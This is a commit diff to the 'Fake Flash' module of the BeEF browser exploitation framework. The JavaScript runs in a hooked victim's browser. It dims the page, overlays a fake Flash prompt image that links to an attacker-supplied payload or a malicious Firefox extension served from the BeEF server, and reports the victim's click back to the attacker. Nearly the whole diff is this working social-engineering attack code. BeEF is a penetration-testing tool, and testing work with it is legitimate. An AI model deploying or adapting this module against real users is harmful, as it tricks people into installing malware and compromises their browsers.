Fix Fake Flash module
* Fix bug where UI wasn't hidden onclick * Gray out browser window on popup * Re-indent
This commit is contained in:
@@ -6,40 +6,85 @@
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
// Module Configurations
|
||||
var image = "<%== @image %>";
|
||||
var payload_type = "<%== @payload %>";
|
||||
var payload_uri = "<%== @payload_uri %>";
|
||||
// Module Configurations
|
||||
var image = "<%== @image %>";
|
||||
var payload_type = "<%== @payload %>";
|
||||
var payload_uri = "<%== @payload_uri %>";
|
||||
|
||||
var beef_root = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port;
|
||||
var payload = "";
|
||||
var beef_root = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port;
|
||||
var payload = "";
|
||||
|
||||
// Payload Configuration
|
||||
switch (payload_type) {
|
||||
case "Custom_Payload":
|
||||
payload = payload_uri;
|
||||
break;
|
||||
case "Firefox_Extension":
|
||||
payload = beef_root + "/api/ipec/ff_extension";
|
||||
break;
|
||||
default:
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'error=payload not selected');
|
||||
break;
|
||||
// Function to gray out the screen
|
||||
var grayOut = function(vis, options) {
|
||||
var options = options || {};
|
||||
var zindex = options.zindex || 50;
|
||||
var opacity = options.opacity || 70;
|
||||
var opaque = (opacity / 100);
|
||||
var bgcolor = options.bgcolor || '#000000';
|
||||
var dark=document.getElementById('darkenScreenObject');
|
||||
if (!dark) {
|
||||
var tbody = document.getElementsByTagName("body")[0];
|
||||
var tnode = document.createElement('div');
|
||||
tnode.style.position='absolute';
|
||||
tnode.style.top='0px';
|
||||
tnode.style.left='0px';
|
||||
tnode.style.overflow='hidden';
|
||||
tnode.style.display='none';
|
||||
tnode.id='darkenScreenObject';
|
||||
tbody.appendChild(tnode);
|
||||
dark=document.getElementById('darkenScreenObject');
|
||||
}
|
||||
if (vis) {
|
||||
var pageWidth='100%';
|
||||
var pageHeight='100%';
|
||||
dark.style.opacity=opaque;
|
||||
dark.style.MozOpacity=opaque;
|
||||
dark.style.filter='alpha(opacity='+opacity+')';
|
||||
dark.style.zIndex=zindex;
|
||||
dark.style.backgroundColor=bgcolor;
|
||||
dark.style.width= pageWidth;
|
||||
dark.style.height= pageHeight;
|
||||
dark.style.display='block';
|
||||
} else {
|
||||
dark.style.display='none';
|
||||
}
|
||||
};
|
||||
|
||||
// Create DIV
|
||||
var fakediv = document.createElement('div');
|
||||
fakediv.setAttribute('id', 'fakeDiv');
|
||||
fakediv.setAttribute('style', 'position:absolute; top:20%; left:30%; z-index:51;');
|
||||
fakediv.setAttribute('align', 'center');
|
||||
document.body.appendChild(fakediv);
|
||||
|
||||
// window.open is very useful when using data URI vectors and the IFrame/Object tag
|
||||
// also, as the user is clicking on the link, the new tab opener is not blocked by the browser.
|
||||
fakediv.innerHTML = "<a href=\"" + payload + "\" target=\"_blank\" ><img src=\"" + image + "\" /></a>";
|
||||
|
||||
$j("#splash").click(function () {
|
||||
$j(this).hide();
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=user has clicked');
|
||||
});
|
||||
// Payload Configuration
|
||||
switch (payload_type) {
|
||||
case "Custom_Payload":
|
||||
payload = payload_uri;
|
||||
break;
|
||||
case "Firefox_Extension":
|
||||
payload = beef_root + "/api/ipec/ff_extension";
|
||||
break;
|
||||
default:
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'error=payload not selected');
|
||||
break;
|
||||
}
|
||||
|
||||
// Create DIV
|
||||
var flashdiv = document.createElement('div');
|
||||
flashdiv.setAttribute('id', 'flashDiv');
|
||||
flashdiv.setAttribute('style', 'position:absolute; top:20%; left:30%; z-index:51;');
|
||||
flashdiv.setAttribute('align', 'center');
|
||||
document.body.appendChild(flashdiv);
|
||||
|
||||
// window.open is very useful when using data URI vectors and the IFrame/Object tag
|
||||
// also, as the user is clicking on the link, the new tab opener is not blocked by the browser.
|
||||
flashdiv.innerHTML = "<a href=\"" + payload + "\" target=\"_blank\" ><img src=\"" + image + "\" /></a>";
|
||||
|
||||
// gray out the background
|
||||
grayOut(true,{'opacity':'30'});
|
||||
|
||||
// clean up on click
|
||||
$j("#flashDiv").click(function () {
|
||||
$j(this).hide();
|
||||
document.body.removeChild(flashdiv);
|
||||
grayOut(false,{'opacity':'0'});
|
||||
document.body.removeChild(document.getElementById('darkenScreenObject'));
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=user has clicked');
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user